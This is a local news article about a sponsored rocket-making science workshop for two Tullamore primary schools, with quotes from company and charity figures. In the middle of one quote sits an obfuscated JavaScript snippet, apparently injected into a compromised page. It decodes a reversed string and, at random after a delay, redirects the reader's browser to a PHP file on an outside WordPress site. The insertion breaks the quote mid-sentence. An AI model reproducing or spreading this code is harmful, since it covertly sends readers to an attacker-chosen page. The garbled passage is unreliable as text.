Rocket Making Fun for Tullamore Schools

Local development company Midlands Science recently teamed up with Tullamore based company, Integra LifeSciences Ireland Ltd to deliver an innovative science initiative to two fortunate schools in Tullamore. Astronomer, Lecturer and Space Enthusiast, Seanie Morris, visited both St. Philomena’s NS and Scoil Mhuire and provided pupils with his popular ‘Make& Launch A Rocket Workshop.’ This involved an insight in to the his tory of propulsion combined with a little bit of arts and craft, finishing up with an experiment involving some chemistry on how a rocket is thrust upwards.

John O’ Donovan, ‎Plant Manager at Integra LifeSciences Ireland Ltd commented,

‘Integra was delighted to recently partner with Midlands Science as a corporate sponsor in order to deliver this fun and interactive science event to local primary schools. It is very important to us as a company to seek opportunities where we can play a role in promoting science education and the message that science is around us in so many aspects of daily life. The earlier that science can be introduced in young classrooms the better and these inclusive, hands-on workshops are an ideal way of $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doing so by teaching pupils how to carry out a basic science investigation. We hope that this type of activity will inspire them to think about science and its diversity when it comes to second level and future subject choices.’

Midlands Science is a local development company working to progress economic development and education attainment in the Midlands of Ireland. It is funded by a mixture of public and private funding. Since 2008, the company has focused on a work programme dealing with STEM education (Science, Technology, Engineering and Maths) and the key objective is to grow the exposure and teaching of STEM subjects in schools through relationships with Department of Science & Engineering, Science Foundation Ireland and a number of academic and corporate partners with a science related focus, bringing international best practice and creating relevant and fruitful opportunities.

CEO of Midlands Science, Jackie Gorman commented,

‘We were delighted to be able to collaborate with such a forward thinking company as Integra LifeSciences to deliver this event and we are also partnering with a number of other local schools and organisations to create opportunities which aim to excite students about science and demonstrate how it connects to real life. It’s about creating greater interest in science education and careers which of course benefits the Midland region for the future.’